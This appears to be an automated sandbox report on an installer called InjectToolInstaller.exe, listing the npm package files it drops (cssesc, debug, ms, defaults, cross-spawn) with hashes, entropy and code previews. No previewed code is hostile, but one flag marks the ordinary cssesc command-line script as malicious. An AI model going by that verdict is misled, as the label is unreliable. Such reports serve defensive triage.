SHA-256:	8E3E77387B0EFDF22234FD8D56098BB90A0B6F0A00B8A993C1916748E701C8A6
SHA-512:	F9F0C2A257327F04AB1D06839068866755653566E401E2334BCFC03B02FDD8BA502A9A54556C835E31DA81F22D16091A0A0D46EB4E550B29E1B51CC1F4E8DF20
Malicious:	false
Preview:	{. "name": "cross-spawn",. "version": "7.0.3",. "description": "Cross platform child_process#spawn and child_process#spawnSync",. "keywords": [. "spawn",. "spawnSync",. "windows",. "cross-platform",. "path-ext",. "shebang",. "cmd",. "execute". ],. "author": "Andr. Cruz <andre@moxy.studio>",. "homepage": "https://github.com/moxystudio/node-cross-spawn",. "repository": {. "type": "git",. "url": "git@github.com:moxystudio/node-cross-spawn.git". },. "license": "MIT",. "main": "index.js",. "files": [. "lib". ],. "scripts": {. "lint": "eslint .",. "test": "jest --env node --coverage",. "prerelease": "npm t && npm run lint",. "release": "standard-version",. "postrelease": "git push --follow-tags origin HEAD && npm publish". },. "husky": {. "hooks": {. "commit-msg": "commitlint -E HUSKY_GIT_PARAMS",. "pre-commit": "lint-staged". }. },. "lint-staged": {. "*.js": [. "eslint --fix",. "git add". ].

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cssesc\LICENSE-MIT.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	5.103413017839314
Encrypted:	false
SSDEEP:	24:0RWyDiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:0RziJzfPvGt7ICQH+sfIte36AFD
MD5:	EE9BD8B835CFCD512DD644540DD96987
SHA1:	D7384CD3ED0C9614F87DDE0F86568017F369814C
SHA-256:	483ACB265F182907D1CAF6CFF9C16C96F31325ED23792832CC5D8B12D5F88C8A
SHA-512:	7D6B44BB658625281B48194E5A3D3A07452BEA1F256506DD16F7A21941EF3F0D259E1BCD0CC6202642BF1FD129BC187E6A3921D382D568D312BD83F3023979A0
Malicious:	false
Preview:	Copyright Mathias Bynens <https://mathiasbynens.be/>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR I

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cssesc\bin\cssesc

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	a /usr/bin/env node script, Unicode text, UTF-8 text executable
Category:	dropped
Size (bytes):	3103
Entropy (8bit):	5.167953250103123
Encrypted:	false
SSDEEP:	48:tyb+O6kydVgwwJOS/GE/8wWrX4HpzB3H9iCYvhbrqdL+t4J33Ii+YRGARsG2bhor:tybudEOGFAszZHiqdL+t4J35+Ygynm4
MD5:	28BB635BFAD96706B78123E7207BDCE8
SHA1:	7165F2130109FC8C492F0C8C295768A6E6435902
SHA-256:	D46F3B9E3DE9D4A40489FE2FB144429DE2AA53EA5D7E4C856B1FA3CCAECC6E44
SHA-512:	8E77D7099398E497EBAAEF6D727C24DEC56FB87F668E58F2B5C0380136EA92F48C6423C72A6DDABE808188C15BDB816B029DF0BE5D0A8C3B3B7D10398C89BE48
Malicious:	true
Preview:	#!/usr/bin/env node.const fs = require('fs');.const cssesc = require('../cssesc.js');.const strings = process.argv.splice(2);.const stdin = process.stdin;.const options = {};.const log = console.log;..const main = function() {..const option = strings[0];...if (/^(?:-h\|--help\|undefined)$/.test(option)) {...log(....'cssesc v%s - https://mths.be/cssesc',....cssesc.version...);...log([....'\nUsage:\n',....'\tcssesc [string]',....'\tcssesc [-i \| --identifier] [string]',....'\tcssesc [-s \| --single-quotes] [string]',....'\tcssesc [-d \| --double-quotes] [string]',....'\tcssesc [-w \| --wrap] [string]',....'\tcssesc [-e \| --escape-everything] [string]',....'\tcssesc [-v \| --version]',....'\tcssesc [-h \| --help]',....'\nExamples:\n',....'\tcssesc \'f\xF6o \u2665 b\xE5r \uD834\uDF06 baz\'',....'\tcssesc --identifier \'f\xF6o \u2665 b\xE5r \uD834\uDF06 baz\'',....'\tcssesc --escape-everything \'f\xF6o \u2665 b\xE5r \uD834\uDF06 baz\'',....'\tcssesc --double-quotes --wrap \'f\xF6o \u2665 b\xE5r \uD

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cssesc\cssesc.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3514
Entropy (8bit):	5.217473156465288
Encrypted:	false
SSDEEP:	96:TuYHzlzE5mQsgssQuuYtH11sSOXiiJ337mk+tf9eAw:668lsqFOSoDVF+HTw
MD5:	D4CA8943F44A56283B3E0ECFFEB1FE6E
SHA1:	42286BB95DF779C97CF53A9E8F664F4897C0FE96
SHA-256:	E80B6F193BE7DAFDDC6D4C8EB4E0B0C1E3CFABE8D9E65F1AE309D45BEBD63A91
SHA-512:	799B7BC7B61297EB3FC3FDD7B5E080381CE1CAFF873084CF4AF96E67678926E512E4118F3F2EF7EC60F22828DFFB6F26EBE208EB3FB0BD9D5120922F86A55C7B
Malicious:	false
Preview:	/! https://mths.be/cssesc v3.0.0 by @mathias /.'use strict';..var object = {};.var hasOwnProperty = object.hasOwnProperty;.var merge = function merge(options, defaults) {..if (!options) {...return defaults;..}..var result = {};..for (var key in defaults) {...// `if (defaults.hasOwnProperty(key) { . }` is not needed here, since...// only recognized option names are used....result[key] = hasOwnProperty.call(options, key) ? options[key] : defaults[key];..}..return result;.};..var regexAnySingleEscape = /[ -,\.\/:-@\[-\^`\{-~]/;.var regexSingleEscape = /[ -,\.\/:-@\[\]\^`\{-~]/;.var regexAlwaysEscape = /['"\\]/;.var regexExcessiveSpaces = /(^\|\\+)?(\\[A-F0-9]{1,6})\x20(?![a-fA-F0-9\x20])/g;..// https://mathiasbynens.be/notes/css-escapes#css.var cssesc = function cssesc(string, options) {..options = merge(options, cssesc.options);..if (options.quotes != 'single' && options.quotes != 'double') {...options.quotes = 'single';..}..var quote = options.quotes == 'double' ? '"' : '\'';..var is

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cssesc\man\cssesc.1

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	troff or preprocessor input, ASCII text
Category:	dropped
Size (bytes):	1957
Entropy (8bit):	4.912080380734542
Encrypted:	false
SSDEEP:	48:XTkY7XyETkYZGuRqLTYz7TYcywAsBTYkyEbUfIFXOgh1SL05CzUGR:XTkSTkGGRLTWTWwTBT6fIz1SL0c4g
MD5:	444E7EBCBDFFC56223B77DB8BC6678EA
SHA1:	941D4962FEAEC32CD2258E71E19E4465FFBFF2C8
SHA-256:	25B681D56BAD04EB2EB14CFAEF901A11DA41D9AD364705BE1FA47B1F9E0E8729
SHA-512:	D53E46EAB37A780AAD426B598E83330B47FEEB650F453BC4F12BC40FD3E7A9DCDCB5B7288102DDD15FD822311EA4609710B56E3797D8045BC2418968437582E4
Malicious:	false
Preview:	.Dd August 9, 2013..Dt cssesc 1..Sh NAME..Nm cssesc..Nd escape text for use in CSS string literals or identifiers..Sh SYNOPSIS..Nm..Op Fl i \| -identifier Ar string..br..Op Fl s \| -single-quotes Ar string..br..Op Fl d \| -double-quotes Ar string..br..Op Fl w \| -wrap Ar string..br..Op Fl e \| -escape-everything Ar string..br..Op Fl v \| -version..br..Op Fl h \| -help..Sh DESCRIPTION..Nm.escapes strings for use in CSS string literals or identifiers while generating the shortest possible valid ASCII-only output...Sh OPTIONS..Bl -ohang -offset..It Sy "-s, --single-quotes".Escape any occurences of ' in the input string as \\', so that the output can be used in a CSS string literal wrapped in single quotes...It Sy "-d, --double-quotes".Escape any occurences of " in the input string as \\", so that the output can be used in a CSS string literal wrapped in double quotes...It Sy "-w, --wrap".Make sure the output is a valid CSS string literal wrapped in quotes. The type of quotes can be specified usi

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cssesc\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1252
Entropy (8bit):	4.700050963010195
Encrypted:	false
SSDEEP:	24:d146V4ZGQ3jp/MW54i1CpZA30403GmpMpf0j3Wtd:n46KZGQTyW54ECpZAExWmpMpf0jGtd
MD5:	ACB5BB4E8F8EE15167E66A40B3E2159F
SHA1:	3A37CECE4F715E91EF0AED027BAEA0039BB20087
SHA-256:	23F134BE44F2877C298CA56C5464EBBE190DDB49C3CE9B82BE3C73A64512D014
SHA-512:	8EBE4881CCB3B63142A217B2338AD17347E265FA54EFFA4B6BFB4845148CD26348BE3232693225B61CDD39AF4235C5C016EA17D62D731CCCED3BBAFD9548354F
Malicious:	false
Preview:	{. "name": "cssesc",. "version": "3.0.0",. "description": "A JavaScript library for escaping CSS strings and identifiers while generating the shortest possible ASCII-only output.",. "homepage": "https://mths.be/cssesc",. "engines": {. "node": ">=4". },. "main": "cssesc.js",. "bin": "bin/cssesc",. "man": "man/cssesc.1",. "keywords": [. "css",. "escape",. "identifier",. "string",. "tool". ],. "license": "MIT",. "author": {. "name": "Mathias Bynens",. "url": "https://mathiasbynens.be/". },. "repository": {. "type": "git",. "url": "https://github.com/mathiasbynens/cssesc.git". },. "bugs": "https://github.com/mathiasbynens/cssesc/issues",. "files": [. "LICENSE-MIT.txt",. "cssesc.js",. "bin/",. "man/". ],. "scripts": {. "build": "grunt template && babel cssesc.js -o cssesc.js",. "test": "mocha tests",. "cover": "istanbul cover --report html node_modules/.bin/_mocha tests -- -u exports -R spec". },. "devDependencies": {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\debug\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1139
Entropy (8bit):	5.200283662785546
Encrypted:	false
SSDEEP:	24:hKDXor4bHHHN0yPP3gtEHw1hiC9MPHcv48Ok4odboBoqldFz:hKzo8btlPvEfiQMPHhINcBoMFz
MD5:	D85A365580888E9EE0A01FB53E8E9BF0
SHA1:	59E43165AEEFDFE28D5E497A0AAEF79D6D622AF0
SHA-256:	3A61C6C96CAF5C1D9B623FB9B04C822B783DFCB78AA7E49C76A3F643E6ED7F95
SHA-512:	3489EC3783403DAA899EC5BD89D8D23A7386AB2CEA6243CCCCB23D2CD7A69C735F2852D66A6C3571D22A7BF724823173C8C115C4E49B9120331638145E3DC058
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2017 TJ Holowaychuk <tj@vision-media.ca>.Copyright (c) 2018-2021 Josh Junon..Permission is hereby granted, free of charge, to any person obtaining a copy of this software.and associated documentation files (the 'Software'), to deal in the Software without restriction,.including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial.portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT.LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,.WHETHER IN AN ACT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\debug\node_modules\ms\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3023
Entropy (8bit):	4.755253471176512
Encrypted:	false
SSDEEP:	48:OvI4pOT+6FLQtahYQlCrFWn5V4W55i8v1BeH321aEEg1JPjayheWy0DywdjyG1JC:OgNy6FLQY2SChWn5V4W55F6XeaErOyX4
MD5:	FDDCC2097091479666D0865C176D6615
SHA1:	55F9B3A7D4CFBF68B19CCD0D698AA86483DD4694
SHA-256:	55986972F5F3C9446F876C576E1CD30FD4F04CD26527EFBB5AD834637C740E4C
SHA-512:	252644169A9398527927B69A2F19C6578BD62DCD180B94984D991939F53BF4E77CA687E840DB42F7DBA3B37124A5E3F3EDA83535E75491BBE6CA440A7149913F
Malicious:	false
Preview:	/*. Helpers.. /..var s = 1000;.var m = s 60;.var h = m * 60;.var d = h * 24;.var w = d * 7;.var y = d * 365.25;../*. Parse or format the given `val`.. . Options:. . - `long` verbose formatting [false]. . @param {String\|Number} val. * @param {Object} [options]. * @throws {Error} throw an error if val is not a non-empty string or a number. * @return {String\|Number}. * @api public. /..module.exports = function(val, options) {. options = options \|\| {};. var type = typeof val;. if (type === 'string' && val.length > 0) {. return parse(val);. } else if (type === 'number' && isFinite(val)) {. return options.long ? fmtLong(val) : fmtShort(val);. }. throw new Error(. 'val is not a non-empty string or a valid number. val=' +. JSON.stringify(val). );.};../. Parse the given `str` and return milliseconds.. . @param {String} str. * @return {Number}. * @api private. */..function parse(str) {. str = String(str);. if (str.length > 100) {. return;. }.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\debug\node_modules\ms\license.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	5.1041829250749355
Encrypted:	false
SSDEEP:	24:buyDrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bBDaJHlxE3dQHOs5exm3ogFh
MD5:	FD56FD5F1860961DFA92D313167C37A6
SHA1:	884E84EBFDDAFD93B5BB814DF076D2EBD1757BA8
SHA-256:	6652830C2607C722B66F1B57DE15877AB8FC5DCA406CC5B335AFEB365D0F32C1
SHA-512:	2BEC1EFB4DC59FA436C38A1B45B3DBD54A368460BCBBB3D9791B65275B5DC3C71A4C54BE458F4C74761DCCB8897EFAAB46DF5A407723DA5C48F3DB02D555D5B9
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2016 Zeit, Inc...Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR I

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\debug\node_modules\ms\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	705
Entropy (8bit):	4.424886427879785
Encrypted:	false
SSDEEP:	12:7t1a3LRJxQwK/GCjxVMzaFT1oNkQc5s5RBR74J3YZQCVCYcCW6:51KLRXQwUJFT1ou1s1R76YZQCIY1W6
MD5:	B3EA7267A23F72028E774742792B114A
SHA1:	FE112804E727B4F3489E9A52900349D0A4ED302C
SHA-256:	3708FD273BF5B1E91C72D88143F48AD962ADCC10B99250A4A203D13804F37757
SHA-512:	01975D65BC491D0B39435D793A62BCDBA6B5EDF4FB886DE0E48A8A393E26FDF31BDFB4F91DD7E10BA69A1E62ED091D5EA04F9F8BF57D784C3491A5C5C8472988
Malicious:	false
Preview:	{. "name": "ms",. "version": "2.1.2",. "description": "Tiny millisecond conversion utility",. "repository": "zeit/ms",. "main": "./index",. "files": [. "index.js". ],. "scripts": {. "precommit": "lint-staged",. "lint": "eslint lib/* bin/",. "test": "mocha tests.js". },. "eslintConfig": {. "extends": "eslint:recommended",. "env": {. "node": true,. "es6": true. }. },. "lint-staged": {. ".js": [. "npm run lint",. "prettier --single-quote --write",. "git add". ]. },. "license": "MIT",. "devDependencies": {. "eslint": "4.12.1",. "expect.js": "0.3.1",. "husky": "0.14.3",. "lint-staged": "5.0.0",. "mocha": "4.0.1". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\debug\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	4.8324897923022
Encrypted:	false
SSDEEP:	24:S11CNviMCbwtWTt5MNs3n0exX07dNeC2sB/FEvc9z7ON98H5WM00e6z0hD:SfuvJCUWPhX04kZN72sFFEEZOn8HYR66
MD5:	2630A1AC039C8970C8FB0DAF0F2F03C4
SHA1:	ED6FE3DCF77A4C2DDADDE904C5B1FC47CF9893C7
SHA-256:	754BA4F352A9B983FBBF93CFFFE015D29BC789A08EB05815270ABF50902697FB
SHA-512:	A017D21A1ECB159065BC32B94B38DE03B38C10448B85F88BFE1498B144320884D612A868B9DB192D6ACF041F88DA415F953D9DD8541EE29E4053E2463DD54791
Malicious:	false
Preview:	{. "name": "debug",. "version": "4.3.4",. "repository": {. "type": "git",. "url": "git://github.com/debug-js/debug.git". },. "description": "Lightweight debugging utility for Node.js and the browser",. "keywords": [. "debug",. "log",. "debugger". ],. "files": [. "src",. "LICENSE",. "README.md". ],. "author": "Josh Junon <josh.junon@protonmail.com>",. "contributors": [. "TJ Holowaychuk <tj@vision-media.ca>",. "Nathan Rajlich <nathan@tootallnate.net> (http://n8.io)",. "Andrew Rhyne <rhyneandrew@gmail.com>". ],. "license": "MIT",. "scripts": {. "lint": "xo",. "test": "npm run test:node && npm run test:browser && npm run lint",. "test:node": "istanbul cover _mocha -- test.js",. "test:browser": "karma start --single-run",. "test:coverage": "cat ./coverage/lcov.info \| coveralls". },. "dependencies": {. "ms": "2.1.2". },. "devDependencies": {. "brfs": "^2.0.1",. "browserify": "^16.2.3",. "coveralls": "^3.0.2",. "

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\debug\src\browser.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6010
Entropy (8bit):	5.363174189797936
Encrypted:	false
SSDEEP:	96:geMOqXjtXQWZI1aJ1JPV5/v68tjfPR/V5jtDh1zTPRV9R1Dv1/PRf1Zf1dRoiDRX:CXxmkPV5/v1tjfZ/V53VP1Dv1/5f1Zfn
MD5:	20BD9FAD97B79A0A28E550ADE5CD3AB3
SHA1:	E63A38B9E85D1D86DEA2E02C6F885FA001B49D34
SHA-256:	4E3DC6D0E1DB58A0D74206B443F35582D3B717BE56A0F6D030C34AF6C2AD9F62
SHA-512:	6905ED5F21C03ABB872232B8356CD40EF3A8D095E2B944049563F87B006A4D480D7B4F5B58005F5D5265AB8A08FF0E3861FE342DA060E5B73E45472391D3D47B
Malicious:	false
Preview:	/* eslint-env browser /../. This is the web browser implementation of `debug()`.. /..exports.formatArgs = formatArgs;.exports.save = save;.exports.load = load;.exports.useColors = useColors;.exports.storage = localstorage();.exports.destroy = (() => {..let warned = false;...return () => {...if (!warned) {....warned = true;....console.warn('Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.');...}..};.})();../. Colors.. */..exports.colors = [..'#0000CC',..'#0000FF',..'#0033CC',..'#0033FF',..'#0066CC',..'#0066FF',..'#0099CC',..'#0099FF',..'#00CC00',..'#00CC33',..'#00CC66',..'#00CC99',..'#00CCCC',..'#00CCFF',..'#3300CC',..'#3300FF',..'#3333CC',..'#3333FF',..'#3366CC',..'#3366FF',..'#3399CC',..'#3399FF',..'#33CC00',..'#33CC33',..'#33CC66',..'#33CC99',..'#33CCCC',..'#33CCFF',..'#6600CC',..'#6600FF',..'#6633CC',..'#6633FF',..'#66CC00',..'#66CC33',..'#9900CC',..'#9900FF',..'#9933CC',..'#9933FF',..'#99

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\debug\src\common.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6289
Entropy (8bit):	5.026038332983778
Encrypted:	false
SSDEEP:	192:7u9dwVWYvhxCaTjS6IV9xmRIeJaqX9L7UZd:q9dwsLaTjS6IV9smy5X97Kd
MD5:	28E94A3CC7D081498BEA5CED383038F6
SHA1:	C9707394C09387B56864A8865158D29FD307774A
SHA-256:	C65BFF44C189188E0C45AFDBD9B02C427FF5C6E54B94DA53C102FBB7A53F0E37
SHA-512:	5775D4C9B823DC9514488A28F2BFCBA990A13DEFDFC5992E1FFEC915CA5E6EC2BA87BDDB1CB7F4B772345A14B4041F98A74F7BCC9D9BE2A3371E3002C33BBEBC
Malicious:	false
Preview:	./*. This is the common logic for both the Node.js and web browser. * implementations of `debug()`.. /..function setup(env) {..createDebug.debug = createDebug;..createDebug.default = createDebug;..createDebug.coerce = coerce;..createDebug.disable = disable;..createDebug.enable = enable;..createDebug.enabled = enabled;..createDebug.humanize = require('ms');..createDebug.destroy = destroy;...Object.keys(env).forEach(key => {...createDebug[key] = env[key];..});.../.. The currently active debug mode names, and names to skip.../...createDebug.names = [];..createDebug.skips = [];.../.. Map of special "%n" handling functions, for the debug "format" argument..... Valid key names are a single, lower or upper-case letter, i.e. "n" and "N".../..createDebug.formatters = {};.../.. Selects a color for a debug namespace..* @param {String} namespace The namespace string for the debug instance to be colored..* @return {Number\|String} An ANSI color code for the given namespace..* @api p

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\debug\src\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	314
Entropy (8bit):	4.663591845217907
Encrypted:	false
SSDEEP:	6:U+DXlWfGi4LNSkvaFwDEY1Fls6nsOartVKQBf3buBOY:U+LlWIpF2w/sKsOart0QBjuBR
MD5:	D6C53F5A0DD8F256D91210AD530A2F3E
SHA1:	0F4CE3B10EFF761F099AC75593F7E05B149AE695
SHA-256:	AA127FF1752B7D9C7415C5C7BB6994D9AA722B81BCBCAB4BD48316B013D23BF3
SHA-512:	4FAA874D9D862FFC921528742C4F1FE8A9B22A358760F6E93FCEF138523575329A801CE9659ED8E96B02B73E581B3E99D91973E22981B358FFB5E43103A536C2
Malicious:	false
Preview:	/*. Detect Electron renderer / nwjs process, which is node, but we should. * treat as a browser.. */..if (typeof process === 'undefined' \|\| process.type === 'renderer' \|\| process.browser === true \|\| process.__nwjs) {..module.exports = require('./browser.js');.} else {..module.exports = require('./node.js');.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\debug\src\node.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	5.26086678826462
Encrypted:	false
SSDEEP:	96:pOYeMOqXjQazS8JvQIr0Wj7/aFAJ4X/msLttu7c4aRobSfMmGgX+1xVBqX/rWI:RX3QiHaZttu7c4aRwSfpGXHVBa/rWI
MD5:	6E63FDA079262F01E14F03BDF77146C0
SHA1:	481608E3C95722F3A474336E5B777A6A521E76F9
SHA-256:	F237ADCB52849DE7C128F57E0468B52353C529A6C8341810477C0E7144359559
SHA-512:	3017B4717118F56FAC106DCAA046AECF3CC63C37E64F49838E5379A13583C293F39EC5ACE48FB2DABEAC6AF4A967F96219812733EAD6F36C3F5C8D132D795900
Malicious:	false
Preview:	/*. Module dependencies.. /..const tty = require('tty');.const util = require('util');../. This is the Node.js implementation of `debug()`.. /..exports.init = init;.exports.log = log;.exports.formatArgs = formatArgs;.exports.save = save;.exports.load = load;.exports.useColors = useColors;.exports.destroy = util.deprecate(..() => {},..'Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.'.);../. Colors.. */..exports.colors = [6, 2, 3, 4, 5, 1];..try {..// Optional dependency (as in, doesn't need to be installed, NOT like optionalDependencies in package.json)..// eslint-disable-next-line import/no-extraneous-dependencies..const supportsColor = require('supports-color');...if (supportsColor && (supportsColor.stderr \|\| supportsColor).level >= 2) {...exports.colors = [....20,....21,....26,....27,....32,....33,....38,....39,....40,....41,....42,....43,....44,....45,....56,....57,....62,....63,....68

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\defaults\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1112
Entropy (8bit):	5.121370866414408
Encrypted:	false
SSDEEP:	24:bn2OrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:bn/aJHlxE35QHOs5exm3ogF5n
MD5:	CC8A04099381C61D3432E8226406CBDB
SHA1:	F6EB8CD4B473C79E30106A7CA26C085DDCD8F266
SHA-256:	FE99D9A94EC7EDC64A9767701F830F66E08239B000D653A359D66E640289ED0C
SHA-512:	D83DF84AFDCD57178B3B03FAE751B48B0EE2213F5E1482DD578E4F4DB58E585DA45FB6E7F07D18BF144F378DA8969C04A97EA58947ED7BAD0029C91F255F7555
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2022 Sindre Sorhus.Copyright (c) 2015 Elijah Insua..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR O

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\defaults\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	277
Entropy (8bit):	4.662963143282629
Encrypted:	false
SSDEEP:	6:qYgqKzBPynMr/O3d0+YuIat1ItKNDX6kIRae:KBPy8/AdJiKNr6kOae
MD5:	63EEC2D2CB4BDA3FBC8160A1923B7B6E
SHA1:	E40DB818E440A87121BE59FC3169018315E2DB23
SHA-256:	956873DA5A50B3C36F7497B3FDD89146E21527C8259DD6DE69F2657677B29E67
SHA-512:	8B23E82E519E38B2C169BE33A2AF15CB86752F1CB66DF33757D70F30529352AA06CC5F95BB73EC3922ADDB69A89565165EC8CCFE115D2A1D71F9F786B750BDB7
Malicious:	false
Preview:	var clone = require('clone');..module.exports = function(options, defaults) {. options = options \|\| {};.. Object.keys(defaults).forEach(function(key) {. if (typeof options[key] === 'undefined') {. options[key] = clone(defaults[key]);. }. });.. return options;.};

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\defaults\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	632
Entropy (8bit):	4.8435759403667
Encrypted:	false
SSDEEP:	12:goh18K2v486azwUjsz+qyG2wqkxN4jBCOjFbp3H:lh1L2YUclN4jBCOp3
MD5:	7DAD5E38AD85C5233313740ED68D690E
SHA1:	06F88E0899441D1848B0230F9DAF9B4C873AF31A
SHA-256:	182A686C374D9E559A621BD72A0C0ECAAA6A6AB51BFDD6697A78BAF158E66B9A
SHA-512:	111DF27E7A8CD1C2D24F9D2987E77FF8BCCC94C9D128D8D93D87BB6D5A36F70922EA8F4692A501023BE85279E00D80B6828AE08D657E13BD85406B0B3CA8C1DC
Malicious:	false
Preview:	{.."name": "defaults",.."version": "1.0.4",.."description": "merge single level defaults over a config object",.."main": "index.js",.."funding": "https://github.com/sponsors/sindresorhus",.."scripts": {..."test": "node test.js"..},.."repository": {..."type": "git",..."url": "git://github.com/sindresorhus/node-defaults.git"..},.."keywords": [..."config",..."defaults",..."options",..."object",..."merge",..."assign",..."properties",..."deep"..],.."author": "Elijah Insua <tmpvar@gmail.com>",.."license": "MIT",.."readmeFilename": "README.md",.."dependencies": {..."clone": "^1.0.2"..},.."devDependencies": {..."tap": "^2.0.0"..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\defaults\test.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	4.677093177369486
Encrypted:	false
SSDEEP:	24:EuAraFKtKjjwrQTPo5eKj8eELwCt0B5Nd:o3tK/wE85eK9ELFA
MD5:	051AC0B7B966044348013A7D29802E1E
SHA1:	41537038884B550553E36F41145ABB61B9193EFC
